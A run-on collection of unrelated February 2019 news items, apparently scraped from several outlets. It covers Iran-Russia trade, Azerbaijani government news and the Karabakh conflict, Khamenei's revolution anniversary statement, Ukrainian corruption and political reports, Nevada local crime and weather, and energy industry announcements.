In 2018, the trade turnover of Iran and Russia increased by 2 percent when compared to last year, and reached $1.74 billion, adding that Iranian exports to Russia in 2018 amounted to $533 million, despite this figure standing at $392 million in 2017.

"The main products exported to Iran by Russia were pistachios, raisins, dates, apples, cucumbers, tomatoes, fish, creche, milk, cheese, tea, kiwi, cabbage, lettuce, copper, floating vehicles, cement, rubber, and chemical industry products" he said.

According to Parand, ceasing the use of the US dollar in the trade turnover, increasing payments between the two countries with national currencies, and implementing the agreements on the solution of customs problems will help to increase the trade turnover between the two countries.

Since the beginning of the work of the trade attache mission of the Iranian Embassy in Russia, Iran's exports to Russia rose from $300 million in 2016 to $533 million in 2018.Baku, Azerbaijan, Feb. 13

By Elchin Mehdiyev  Trend:

The offices of Facebook and other international social networks, as well as YouTube video hosting site should open in Azerbaijan to prevent the use of insults, undesirable cases in social networks, President of the Azerbaijan Internet Forum Osman Gunduz said, Trend reports on Feb. 13.

Gunduz made the remarks in Baku at a meeting with representatives of non-governmental organizations at the headquarters of the ruling New Azerbaijan Party.

He stressed that users who use insults in the internet think that their accounts are registered abroad, and this gives them the right to write whatever they want and commit unlawful acts.

"But if the social network bases are in Azerbaijan, we will be able to work more closely with them, he said. It will be easier to combat those who use insults in social networks. Turkey has already used this method and the number of such problems decreased."

Gunduz said the transfer of social network bases to Azerbaijan can be beneficial for the country from a commercial point of view.Baku, Azerbaijan, Feb. 13

Trend:

Azerbaijan Chapter of Project Management Institute (PMI) will conduct PMI Azerbaijan Summit 2019 to be held at Baku Higher Oil School (BHOS) with support from PMI.

The Summit delegates will discuss main activities to be carried by PMI in Azerbaijan and prospects of installation of advanced project management tools in both public and private sector.

The contract between Azerbaijan and PMI, which gave the country an official status of PMI Azerbaijan Potential Chapter, was signed in May 4, 2018 in Berlin.

Project Management Institute founded in 1969 is a non-profit organization with the aim to provide international experience, knowledge and skills in project management. PMI develops project management standards and upgrades the skills of specialists through the training events in local offices (Chapters) around the world. PMI has developed the well-known project management standard The Guide to PMBOK (Project Management Body of Knowledge). The PMBOK standard is updated approximately every four years.

Currently, there are about 700,000 PMI members in more than 200 countries. At the present, there are about 100 certified professionals in Azerbaijan, who are potential members of the Azerbaijan Chapter of Project Management Institute.Baku, Azerbaijan, Feb. 13

Trend:

The year 2019 marks the beginning of a new stage of Azerbaijans reforms, President of Azerbaijan Ilham Aliyev said in an interview with Real TV.

It is quite natural because the Azerbaijani people once again placed great confidence in me in the last year's presidential election and I went to these elections with the agenda of reforms," he said. "Of course, extensive work had been carried out since the second half of the last year to specify, identify and sequence reforms, and new reforms were launched early this year.

The president of Azerbaijan emphasized that the main goal of the new reforms is to transform Azerbaijan into a modern and developing and in the future into a developed country, address the existing shortcomings, completely remove from the agenda problems facing citizens, improve people's well-being, and build a stronger, more powerful state.

We pursue a purposeful, comprehensive policy in this direction, we both strengthen our international position and put forward regional cooperation initiatives, President Ilham Aliyev added. Azerbaijan has become a transport hub of Eurasia. That is, not one of the transport hubs, but the transport hub because the North-East and East-West corridors pass through our country. We have very effectively taken advantage of this geographical situation to establish a robust infrastructure. More than 10 countries are today collaborating along the North-South and East-West transport corridors. But there is only one country that is involved in both projects, and that is Azerbaijan.Baku, Azerbaijan, Feb. 13

Trend:

President of Azerbaijan Ilham Aliyev has hailed the role the media plays in the life of the country.

"I have always rendered great assistance to the Azerbaijani media, the head of state said in an interview with Real TV. It is evidenced by the numerous meetings I have held with media representatives, and I have always tried to support the development of the media with my own work. I am glad that the Azerbaijani media today play an important role in the life of our country.

In my work, I refer to media reports too, and in some cases I learn of a number of issues from the media and react immediately. I have repeatedly expressed my opinion on this issue and I think that the Azerbaijani media will play a greater role in the life of our country in the future," the president added.Baku, Azerbaijan, Feb. 13

Trend:

President of the Republic of Azerbaijan, Commander-in-Chief Ilham Aliyev has viewed conditions created at a newly-built military unit of the Defense Ministry in Beylagan district.

Minister of Defense Zakir Hasanov and Chief of the General Staff of the Armed Forces Najmaddin Sadikov reported to President, Commander-in-Chief Ilham Aliyev.

The head of state was informed that the construction of the military unit, which occupies an area of 13 hectares, started in 2017. The first phase of the construction has already been completed. The work is now ongoing under the second stage. The military unit has administrative, residential and technical buildings, a dormitory, a medical point and a canteen.

President Ilham Aliyev viewed conditions created at the canteen and dined together with the personnel of the military unit.Baku, Azerbaijan, Feb. 13

Trend:

President of the Republic of Azerbaijan Ilham Aliyev has attended the opening of the newly-renovated Beylagan-1 substation in Beylagan district.

President Ilham Aliyev launched the 110/35/10 kV substation.

Acting chairman of Azerishig OJSC Vugar Ahmadov informed the head of state that Beylagan Electric Network supplies electricity to a total of 22,480 consumers, including 20,728 households.

The renovation of Beylagan-1 substation included among other measures the installation of two transformers each with a capacity of 25 MVA.

A modern-type control center in the Beylagan-1 substation and 35-10 kV closed distribution units were connected to Supervisory Control And Data Acquisition (SCADA).Baku, Azerbaijan, Feb. 13

Trend:

President of the Republic of Azerbaijan Ilham Aliyev has attended the opening of Museum of History and Local Lore in Beylagan after renovation.

The head of state cut the ribbon symbolizing the opening of the museum and viewed conditions created here.

The museum was built in 1981. The renovated two-storey building houses an exhibition hall, two administrative rooms, a 60-seat conference hall, and a 12-seat round table hall.

The museum features a total of 6,087 exhibits.

There are photo sections here depicting national leader Heydar Aliyev`s, and President Ilham Aliyev's visits to Beylagan district.

President Ilham Aliyev then met with local residents in the park where the museum is located, and spoke with them.Baku, Azerbaijan, Feb. 13

Trend:

As part of his visit to Beylagan district, President of the Republic of Azerbaijan Ilham Aliyev has attended the inauguration of Mingachevir-Stansiya Mingachevir-Bahramtapa-Beylagan highway.

Chairman of the Board of Directors of Azerbaijan Highway State Agency Saleh Mammadov informed the head of state of the technical indicators of the road.

The road connects seven residential areas with a total population of 26,000 people.

The two and four-lane highway is 20.5km in length and 6-14 meters in width. Three bus stops and 78 traffic signs were installed along the highway. Four bridges were renovated over the road.

President Ilham Aliyev was also informed of the reconstruction project of Kabirli-Eyvazalilar-Birinji Ashigli-Alinazarli highway in Beylagan district. The two-lane road is 39.4km in length and 6m in width. The road connects eight residential areas with a total population of 22,000 people.

The head of state cut the ribbon symbolizing the opening of Mingachevir-Stansiya Mingachevir-Bahramtapa-Beylagan highway.Baku, Azerbaijan, Feb. 13

Trend:

The Minister of Defense of the Republic of Azerbaijan Colonel General Zakir Hasanov has sent letters of condolences to the Minister of National Defense of Turkey, Hulusi Akar, and Chief of the General Staff, Army General Yasar Guler, regarding the crash of the military helicopter in Cekmekoy District of Istanbul, Trend reports citing the press service of the Ministry of Defense of Azerbaijan.

"I am deeply shocked by the news of the death and injury of military personnel as a result of the helicopter crash in Cekmekoy District of Istanbul city of the fraternal Republic of Turkey.

Your grief is our grief too. I pray to Almighty Allah for the repose of the souls of the deceased, share the sorrow and grief of their relatives and express my deep condolences to their families. I wish a speedy recovery to all the wounded," said the letter.Baku, Azerbaijan, Feb. 13

Trend:

Spokesperson for Azerbaijans Foreign Ministry Leyla Abdullayeva has urged Armenian Prime Minister Nikol Pashinyan not to exacerbate the existing situation by his statements, but to create a basis for negotiations to resolve the Armenia-Azerbaijan Nagorno-Karabakh conflict, just like the OSCE Minsk Group co-chairs stressed in their recent statements, Trend reports.

Its impossible to understand the position of Nikol Pashinyan, based on his statements, Abdullayeva said. On one hand, he speaks of the importance of creating peaceful conditions for resolving the conflict, but on the other hand, he is trying to change the format of the negotiation process, trying to accuse Azerbaijan of aggressive rhetoric, noting that allegedly the country is preparing the population not for peace, but for war. The truth is that its not the aggressive rhetoric of Azerbaijan, but the aggressive actions of Armenia.

She noted that Azerbaijan, despite the occupation of 20 percent of its territories and the presence of one million IDPs, is negotiating with Armenia for the peaceful settlement of the conflict.

Azerbaijan encourages the benefit and development that the conflicts resolution will bring to the region, she said. The sooner the Armenian prime minister understands the truth about the benefits that the conflicts resolution will bring to the region and specifically to his country, the faster he will realize the economic revolution promised to the population of Armenia.

Abdullayeva called Pashinyans statement in the Armenian parliament about the participation of the Azerbaijani community of Nagorno-Karabakh in the negotiations, as well as the words by his press secretary that the members of the Armenian community of Nagorno-Karabakh are citizens of Azerbaijan as a right approach.

Nagorno-Karabakh and the adjacent areas are an integral part of Azerbaijan, recognized internationally and currently under occupation by the Armenian Armed Forces, and the entire international community recognizes the members of the Armenian community living there as citizens of Azerbaijan, said Abdullayeva.

She stressed that the statements made by the Armenian leadership so far raise more questions than contribute to creating appropriate conditions for the development of the region and ensuring peace for the sake of well-being.

This is the position of the leadership of Armenia, she said. Naturally, all these useless comments dont help the appeals of the Armenian side to the peaceful resolution of the conflict.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.Baku, Azerbaijan, Feb. 13

Trend:

The ceasefire monitoring at the contact line between the troops of Azerbaijan and Armenia, in the direction of Goranboy district, held in accordance with the mandate of Personal Representative of the OSCE Chairperson-in-Office on Feb. 13, ended without any incidents, the Azerbaijani Defense Ministry told Trend.

The Personal Representatives field assistants Michael Olaru and Simon Tiller carried out the monitoring from the territory of Azerbaijan.

The Personal Representatives field assistants Ghenadie Petrica and Ognjen Jovic carried out the monitoring on the territory of the Republic of Azerbaijan occupied and controlled by the armed forces of Armenia.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.Baku, Azerbaijan, Feb. 13

Trend:

Over the past 24 hours, Armenian armed forces have 29 times violated the ceasefire along the line of contact between Azerbaijani and Armenian troops, the Azerbaijani Defense Ministry said Feb. 13, Trend reports.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.Iran's Supreme Leader Ayatollah Ali Khamenei says after 40 years since the 1979 Islamic Revolution, his regime is prepared to correct its mistakes, but it will not revise its leading principles.

Khamenei's official website on Wednesday February 13 published a document entitled "The Second Phase of the Revolution Statement" that offers a set of guidelines particularly for Iranian youths about the state of affairs in the future as he envisages it. However, the document is mainly about the past and contains little fresh insight.

On February 11, while the Islamic Republic was marking the revolution's 40th anniversary, Iranian media announced that Khamenei will introduce a set of new guidelines for the next ten years of the Islamic Republic.

On foreign policy, Khamenei was as defiant as ever, attacking the U.S. and using a threatening tone against Israel.

The document expressed strong opposition to Western lifestyle which is increasingly more popular among Iranian youths, said Khamenei. Local media called his guidelines the second step.

In the second step poster, the flagbearer is a woman and Khamenei is surrounded by a number of young men and women dressed as doctors, engineers and athletes. The general ambience in the picture is indicative of attaching significance to young Iranians.

The document addressed "the generation that currently steps into the magnificent and global phenomenon of the second forty years!" reminding them of the enmity of East and West, adding "Today, after forty annual celebrations of the victory of the revolution, one of the two centers of animosity has already perished, and the second one is struggling , with predicaments that signal its death in the near future."

"The Islamic revolution is always flexible and ready to correct its mistakes, but it is not revisionary or passive," Khamenei said, adding "The Islamic Republic is not reactionary and it does not lack perception and understanding in face of new phenomena and situations; however, it strongly adheres to its principles and it is highly sensitive to its frontiers in relation to its rivals and enemies."

Khamenei made the comments about correcting the Islamic revolution's mistake while demands for reform have been suppressed throughout the past forty years, and while Iranian reformists inside Iran and the opposition outside the country have been pushing for reforms, the regime has used force and its laws, including those about the role of Supreme Leader to prevent any change.

Elsewhere in the document Khamenei said, "The Islamic Revolution of the Iranian nation has been mighty, but merciful; forgiving and even oppressed. This revolution has never been merciless nor has it ever shed blood." The statement ignores thousands of executions during the past forty years, particularly during the 1980s as witnessed by prominent regime insiders such as once potential successor to Supreme Leader, Ayatollah Hossein Ali Montazeri.

In the document, Khamenei characterized Iranian youth as "the generation who steps up to start another part of the Great Jihad [selfless endeavor] for building a great Islamic Iran."

Meanwhile Khamenei criticized parts of the regime's performance during the past four decades. He said he is not happy with the way justice is being restored in Iran although he claimed that "a lot has been done" to correct the system. Khamenei's statement is not mindful of the fact that several regime insiders including former President Mahmoud Ahmadinejad have criticized the Iranian Judiciary in 2018 as a tool for suppression rather than an institution to put an end to discrimination and injustice.

Khamenei also criticized the state of economy, saying, "Weak performance in the area of economy has faced the country with big challenges inside and outside Iran." He explained foreign challenges mainly as "sanctions" and domestic challenges as "structural problems and mismanagement."

"Dependency on oil revenues, the government's intervention in economic affairs that have nothing to do with the government, failing to use domestic potentials and human resources, an imbalanced budget, ignoring priorities and wasting resources are part of the problems of Iran's economy," Khamenei said.

Khamenei's criticism contradicts President Hassan Rouhani's positive comments in his messages about his government's economic performance.

Explaining the foreign "challenges" Iran is facing, Khamenei said "Today the challenges are about Iran's presence at Israeli borders and trying to put an end to the United States' illegitimate presence in Western Asia," adding that "today, the United States needs to forge an alliance with tens of intimidated states in order to confront the Islamic Republic, and still it will be defeated."

He said the United States' problem today is "preventing the shipment of Iranian advanced weaponry to resistance forces." Shipment of Iranian weapons to Iraq, Syria, Lebanon and Yemen during the past years, has escalated regional tensions.KYIV. Feb 13 (Interfax-Ukraine)  Principal of Kramatorsk-based Donetsk National Medical University (Ukraine) Petro Kondratenko has said he plans to scrap his university's contract with an intermediary company called Ukrainian Education Services (Ukrayinski Osvytni Posluhy).

"The company's debt to the university amounts to UAH 37 million. These are debts starting from 2016, when the international medical university began to function. We appealed to an economic court to terminate the relationship with that firm, terminate the contract and recover the funds that the firm owes," Kondratenko at a press conference at the Kyiv-based Interfax-Ukraine news agency on Tuesday.

He said that in the summer of 2018 he discovered an "organized group" at the university that included an intermediary firm and university staff. He said the group "was patronized by employees of Ukraine's SBU State Security Service."

Kondratenko said, "This group earned money for illegal migration."

"In 10 months, we issued 1,563 invitations for foreign citizens to come to study, but 243 people came. We could not but be interested in what happened to the rest of the invitations," he said, adding that 95 invitees "were allegedly credited to our university by fake order, and money was taken from them as the fee for education. They were not our students, but Ukraine's State Migration Service issued certificates of temporary residence in Ukraine for a period of five to six years."

Kondratenko said the difference between the tuition fees that the intermediary firm takes and the cost established by the university is $5,000 per year.

"Plus $500 in insurance, $500 for a medical certificate, $500 for food, $500 for registration, $1,000 for accommodation in a hostel. In total, it turns out $8,500 per person. Multiply it all by 1,100 [the number of foreign students] and it works out to around $9.5 million. Plus the discount that the company received, depending on the number of students sent to study... The total amount is almost or more than $10 million, which went into the pockets of certain individuals," the principal said.

He said that since September last year he had notified various officials, including the SBU's main directorate in Donetsk and Luhansk regions, the police and the prosecutor's office of Kramatorsk, and the Kropyvnytsky police.

"Almost 20 criminal cases are opened for this company by a court decision, including, under Article 129 of Ukraine's Criminal Code (threat of murder)," he said.

Kondratenko said he had received threats of physical violence and SMS messages, which said if he did not leave his job, he or someone from his family would be killed. The court granted him state protection.

He said the medical university extended the deadline from January 8 to February 7 for foreign students who arrived by invitation to study and who did not pay tuition to pay it, offering them to sign a contract directly with the university.

"Virtually no one has signed. Out of 1,100 students, 850 did not sign the contract," he said.

The reason for the refusal to sign contracts directly with the university, according to the principal, were threats to students from the dismissed teachers and other persons, who said Kondratenko would soon leave his post.

"It is surprising to me that a Member of Parliament of Ukraine is also involved in this," he said.

Kondratenko said students who had not signed contracts would be expelled from the university, and, according to Ukrainian legislation, would be forced to leave Ukraine.

"We want the university to operate legally and don't want anyone to interfere in personnel policy," the rector said.

Donetsk National Medical University (dnmu.edu.ua) is based in the Ukrainian-controlled town of Kramatorsk and the Ukrainian-controlled city of Mariupol in Donetsk region, as well as in the city of Kropyvnytsky in Kirovohrad region.This item is available in full to subscribers.

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Otherwise, click here to view your options for subscribing.On Friday, February 15, at 12.30, the press center of the Interfax-Ukraine news agency will host a press conference entitled "Elections 2019: Problems of External and Internal Interference in Their Process." Participants include Director of Ukraine's Institute for Global Strategies Vadym Karasiov, expert of the Gardarica Strategic Consulting Corporation Kostiantyn Matviyenko, and Director of the Ukrainian Barometer Sociological Service Viktor Nebozhenko (8/5a Reitarska Street). Registration requires press accreditation.On Thursday, February 14, at 12.30, the press center of the Interfax-Ukraine news agency will host a press conference entitled "Socio-Political Attitudes of Ukrainian Population: January-February 2019" according to the results of the All-Ukrainian Representative Opinion Survey, conducted by the Kyiv International Institute of Sociology (KIIS) from January 31 through February 10, 2019, with the participation of Deputy Director of the KIIS Anton Hrushetsky (8/5a Reitarska Street). Registration requires press accreditation.Presidential candidate Oleksandr Vilkul, deputy head of the Opposition Bloc faction in parliament, has put up UAH 115,000 bail for policeman Vasyl Melnyk who was arrested by court on February 12 on suspicion of beating members of the nationalist organization C14 near the Podilsky police department in Kyiv last Saturday, February 9.

"The policeman was doing his duty. Under extreme conditions. When the militants attacked the Podilsky district police department. I have posted bail because I want to build a lawful state in which everyone has the right to protection, regardless of the political situation for the country's leaders," Vilkul wrote on his Facebook page on Wednesday.

As earlier reported, on February 12, Kyiv's Pechersk District Court chose a preventive measure in the form of detention with an alternative of paying a UAH 115,000 bail for police officer Vasyl Melnyk, who is suspected of beating a member of C14 nationalist organization laying on the ground during clashes near the Podilsky police department building in Kyiv on February 9.

On February 9, 2019, the police detained a group of young men wearing disguises on Kontraktova Square in Kyiv some time before a rally of one of presidential candidates was to start there. They were taken to the nearest police station.

Later, their allies arrived at the police station and attempted to free their comrades. Clashes between the young men and the police followed. The police used batons and sprayed tear gas.The National Anti-corruption Bureau of Ukraine (NABU) has summoned fugitive Ukrainian Verkhovna Rada deputy Oleksandr Onyshchenko on February 16 to receive an indictment in the criminal case involving embezzlement of funds from gas extraction and sale.

The notice published on Wednesday in the official newspaper Uriadovy Kurier calls on Onyshchenko to appear at 11.00 on February 16, 2018 at NABU's office.

Onyshchenko responded on Facebook on Wednesday, "They can hand over the agenda (according to an international agreement on legal assistance) after the consent of the Rada, through consulates, and not through NABU's press service. Or via Facebook messages from NABU's Director [Artem Syntyk]."

Onyshchenko said NABU is attempting to curry favor with Ukrainian President Petro Poroshenko.

"Sytnyk was firmly hooked on the case of selling undeclared real estate in Crimea, so it's not anti-corruption for a long time, but Bankova's [name of the street on which Ukraine's Presidential Administration is located] pawn. He does everything he is told," Onyshchenko said.

As earlier reported, on February 8, 2019, Sytnyk said NABU had completed its investigation against Onyshchenko, who is suspected of embezzling funds for the extraction and sale of natural gas under joint activity agreements with PJSC Ukrgazvydobuvannia.

Ukraine's parliament granted consent to bringing the deputy to justice on July 5, 2016, but Onyshchenko fled Ukraine. He was put on the national wanted list on August 8, 2016.Norway's Ambassador to Ukraine Ole Terje Horpestad and representatives of the Norwegian Refugee Council visited Luhansk region and familiarized themselves with the work of the repaired entry/exit checkpoint Stanytsia Luhanska.

"Within the framework of certain events, the foreign delegation made a trip to the only entry-exit checkpoint in Luhansk region, Stanytsia Luhanska," the JFO said on Facebook on Wednesday.

Serhiy Sokolovsky, First Deputy Head of the Lysychansk Border Detachment from the JFO, told the guests that, thanks to international cooperation, the checkpoint was reconstructed, which increased the number of workplaces to check passport documents and significantly speed up access operations, thereby reducing the accumulation of people in front of the checkpoint.

In addition to improving the conditions for crossing the disengagement line by citizens, this has made it possible to increase their security and reduce the time required for passing control procedures. At the same time, border guards prevent weapons, ammunition and explosives from the temporarily occupied territory, which can be used as a basis for preparing and committing terrorist attacks on the peaceful territory of Ukraine.

"Representatives of the delegation familiarized themselves with the order of crossing the disengagement line, the level of passenger traffic and the peculiarities of the work of this checkpoint of entry and exit as a whole," the message said.Ukrainian Foreign Minister Pavlo Klimkin will be on a working visit to Poland on February 13-14, where he will take part in a ministerial conference on the promotion of peace and security in the Middle East in Warsaw.

The minister will participate in panel discussions on the conference agenda, speak to the participants on countering cybernetic and new threats, and also hold a number of bilateral meetings, the Ukrainian Embassy to Poland said on Wednesday.A delegation of the Ministry of Defense of Ukraine, led by Defense Minister Stepan Poltorak, will visit NATO Headquarters in Brussels (Belgium) on February 13-14.

The Ukrainian delegation will take part in the events at the meeting of the NATO North Atlantic Council at the level of defense ministers of NATO member states, the press service of the Defense Ministry said on Wednesday.

During the visit, Poltorak will hold a series of bilateral and multilateral meetings with the defense ministers of the bloc's member states.The United States Institute of Peace hosted a round table with the participation of authoritative experts, members of parliament, the U.S. Department of State, international organizations and representatives of the Interior Ministry of Ukraine, during which the possibilities and risks of Donbas de-occupation plan were discussed, and its main paradigms were formulated, Interior Minister of Ukraine Arsen Avakov has said.

"The U.S. Institute of Peace has held a round table with the participation of authoritative experts, members of parliament, the U.S. Department of State and international organizations. They openly discussed the possibilities and risks of the Donbas de-occupation plan. The beginning of the international dialogue is a crucial step towards the implementation of our plan ... 16 ambassadors, Department of State representatives, and experts together formulated the main paradigms," Avakov wrote on his Twitter account on Wednesday night.Editor:

I am a recent UNR graduate, and after seeing the article Barrick supports UNR with $345,000, I wanted to do my part by giving back too. Barrick invests money into many community programs and institutions across the state, so I could never match the size of their giving, but I can proportionately match their generosity based on hourly income.

Lets do the math. According to the 2017-2018 Net Proceeds of Minerals Bulletin from the Nevada Department of Taxation, Barrick Gold mined about $2.8 billion worth of gold in Nevada. Per day, Barrick extracted just under $8 million. Most mines operate 24 hours a day, so the hourly profits are slightly less than Barricks investment of $345,000. Barricks investment in our community is about to equivalent to one hour of work.

I work for the Progressive Leadership Alliance of Nevada (PLAN) and our minimum wage is $15 per hour. To be in step with Barricks level of giving, I recently gave what I could to support my community with a $15 donation to UNR.Two of three scheduled trials took place, but a year ago during the third trial of Cliven Bundy and his co-defendants Judge Gloria Navarro abruptly halted proceedings and ruled that the prosecutors had willfully and flagrantly failed to disclose evidence that could have been used by the defense, including information about an FBI surveillance camera, documents citing the presence of snipers, certain maps, FBI logs, threat assessments that showed the Bundys werent violent, documents reportedly showing that no threatened desert tortoises were ever found to be harmed by Bundys cattle, and internal affairs documents detailing possible misdeeds by the Bureau of Land Management agent in charge, who was later fired.

The judge ruled the dismissal was with prejudice, meaning charges could not be brought against them again.

Curiously, most of that information cited would have allowed the defense to argue the defendants were provoked and were acting in self-defense, arguments the judge previously ruled were impermissible. The appeal goes into excruciating detail about this seeming contradiction.

In response to the appeal, Bundys lawyer Larry Klayman asked the appellate court to dismiss the prosecutions appeal because it had missed the filing deadline. Though the prosecution asked for deadlines extensions, the court has not yet granted such an extension.ELKO  Heavy snow and strong winds wreaked havoc on Elko area roadways Wednesday, causing two major collisions on Lamoille Highway and multiple other crashes on Interstate 80.

Conditions were so bad the Lamoille Highway was closed at about 7 p.m. Heavy snow and ice was coating the road, and the Nevada Highway Patrol reported that vehicles were unable to make it up the summit.

The highway reopened about two hours later, but adverse driving conditions continued into Thursday morning.

A collision on the summit blocked the northbound lanes around 3:45 p.m. and into the evening rush hour. It involved at least two vehicles and there were injuries, according to the Nevada Highway Patrol.

Earlier, at about 1:30 p.m., a head-on collision occurred on Lamoille Highway near Wells Propane, also with injuries.

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Accidents with injuries were reported in the westbound lanes of Interstate 80 near Osino shortly after 11 a.m. and again at about 4:45 p.m.

A rollover accident resulting in injuries was reported on Pequop Summit at about 10:30 a.m.RENO  A member of the Te-Moak Tribe of the Western Shoshone pleaded guilty Wednesday to stabbing an elderly man multiple times, announced U.S. Attorney Nicholas A. Trutanich for the District of Nevada.

Jean Angela Ortega, aka Angel Jim, 41, pleaded guilty to assault resulting in serious bodily injury. U.S. District Judge Howard D. McKibben scheduled sentencing for May 29.

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According to court documents, on Feb. 1, 2018, an officer with the Bureau of Indian Affairs responded to a possible stabbing incident at a house within the territorial boundaries of the Elko Indian Colony. Upon arriving at the house, the officer found a 78-year-old man on the floor bleeding from multiple stab wounds. He was transported to the Northeastern Nevada Regional Hospital and later flown by an emergency medical helicopter to Salt Lake City for further treatment, including surgery.

Ortega admitted that she assaulted and stabbed the victim in the abdomen, arm and back.

Ortega faces the maximum statutory penalty of 10 years in prison and a $250,000 fine.

The case was investigated by the Bureau of Indian Affairs and FBI. Assistant U.S. Attorney Sue Fahami is prosecuting this case.

Love 0 Funny 4 Wow 2 Sad 5 Angry 3ELKO  An Elko man who has been arrested 15 times in the past three years was booked into Elko County Jail Tuesday on a robbery charge.

Police were called to Walmart at about 9 p.m. Monday on a report of a shoplifter who attempted to take a cart full of items out of the store, said Elko police Lt. Mike Palhegyi. A female employee attempted to stop him and he allegedly knocked her to the ground as he fled.

Palhegyi said the suspect left a trail of items in the parking lot but got away with a pair of boots.

He was identified as Wade A. Knight Jr., age 30.

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Knight was arrested about four hours later in the Burger King parking lot off Mountain City Highway.

He was booked on charges of robbery, felony possession of a controlled substance, possession of a hypodermic device, false statement to obstruct a public officer, and resisting a public officer.

Physical contact elevates a shoplifting charge to a robbery charge, Palhegyi explained. A bag of meth was reportedly found in his possession during booking.ELKO  The Elko District Attorneys Office is considering whether to file charges over an altercation in which one Great Basin College administrator claims she was shoved by another administrator during a discussion about paid time off.

According to documents released by District Attorney Tyler Ingram, Elko police were called to the college at about 2:15 p.m. Friday after GBC Vice President for Academic Affairs Sonja Brown reported being pushed by Vice President of Business Affairs Sonja S. Sibert.

Brown had entered Siberts office to complain about her leave time being modified in the Human Resources system without her permission, according to the officers report. Brown told police the conversation became hostile and Sibert became violent and angry, asking Brown to leave her office. Brown said she wanted to discuss the issue further, at which point Sibert got out of her chair, pushed Brown and demanded she leave or security would be called.

Sibert left the building but later told police that it was Brown who became hostile during the discussion.

Silbert said that she eventually got out of her desk and lightly pushed Browns shoulder in an attempt to get her to turn around toward the exit, stated the police report.

Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}}NorthWestern Corporation d/b/a NorthWestern Energy ("NorthWestern") plans to issue a request for proposals in April for 60 MW of flexible capacity resources (the "Capacity RFP") to begin delivering power to South Dakota customers by the end of 2021. NorthWestern is seeking flexible capacity in order to modernize its portfolio of resources and improve reliability for its electric customers.

NorthWestern completed a comprehensive assessment of its fleet of generating resources and submitted an updated Electricity Supply Resource Procurement Plan to the South Dakota Public Utilities Commission in 2018. NorthWestern's 2018 procurement plan focuses on adding customer value by improving system reliability, flexibility and operating efficiency in local communities and across NorthWestern's South Dakota service territory.

As a first phase of system modernization, NorthWestern plans to retire the two existing units at its Huron Generating Station totaling approximately 60 MW. NorthWestern will consider proposals in this Capacity RFP for a variety of generation technologies under a variety of procurement structures. The Capacity RFP will incorporate two parallel paths. NorthWestern will consider proposals for power purchase agreements, build-transfer arrangements and other alternative structures satisfying the company's generation requirements. NorthWestern will separately evaluate engineer, procure and construct ("EPC") proposals for new generation at the Huron site. NorthWestern will be soliciting proposals from reciprocating engine manufacturers in late February to be used in the evaluation of the EPC proposals.

The Capacity RFP will be administered by HDR Engineering, Inc. ("HDR"). All correspondence related to this RFP should be via e-mail and directed to NWESD_2019RFP@hdrinc.com. Please do not contact NorthWestern personnel to discuss the Capacity RFP. Parties interested in participating in the Capacity RFP must complete a safety and experience qualification questionnaire and execute a mutual non-disclosure agreement ("NDA") with NorthWestern. Interested parties can receive the qualification questionnaire and the NDA form by sending an e-mail expressing interest to NWESD_2019RFP@hdrinc.com. The questionnaire must be completed and the NDA executed by 5:00 p.m. CST March 29, 2019 in order to participate in the Capacity RFP.

NorthWestern provides electricity and / or natural gas to approximately 726,400 customers in Montana, South Dakota, and Nebraska. We have generated and distributed electricity in South Dakota and distributed natural gas in South Dakota and Nebraska since 1923 and have generated and distributed electricity and distributed natural gas in Montana since 2002. More information on NorthWestern is available on the company's website at www.northwesternenergy.com.Illinois' solar employment grew to 4,879, the Census shows, moving Illinois ahead of Minnesota, Michigan, Indiana and Missouri as strong state policy and rapidly declining solar costs attracted new jobs and investment to the state. The Future Energy Jobs Act of 2016 was an important driver of new solar jobs and investment in Illinois. The Path to 100 Act, announced last week, will ensure that renewable energy job growth in Illinois will be sustained.

The Path to 100 Act is sponsored by Illinois Rep. Will Davis (D-Hazel Crest) and supported by an alliance of industry and advocacy partners. The bill will ensure that Illinois sustains its existing renewable energy success and meets its current policy goal of 25 percent renewable energy by 2025. The Path to 100 Act also moves Illinois toward the goal of 100 percent clean and renewable energy by expanding the state's Renewable Portfolio Standard to 40 percent renewable energy by 2030.

The Path to 100 Act will help create more than 25,000 additional clean energy jobs by driving the procurement of an estimated 6,000 MW of new utility-scale solar, 6,500 MW of new wind, and 7,500 MW of new residential, commercial and community solar in Illinois by 2030.

"Illinois is poised to be one of the fastest-growing solar markets in the nation and the Path to 100 Act will be a key to its success," said Sean Gallagher, vice president of state affairs for the national Solar Energy Industries Association (SEIA). "As evidenced by these new jobs numbers, markets follow smart policy. The opportunity is ripe here in Illinois to build on the foundation established by the Future Energy Jobs Act and cement the state as a national clean energy leader."

"The solar jobs growth we saw in 2018 is just the beginning, the industry is ready to create tens of thousands of new clean energy jobs in the coming years," said Lesley McCain, executive director of the Illinois Solar Energy Association (ISEA). "Sustaining that success, however, requires state policy that fits this rapidly growing market. The Path to 100 Act will ensure we don't miss a critical opportunity to reach our clean energy goals and continue attracting new businesses to Illinois."

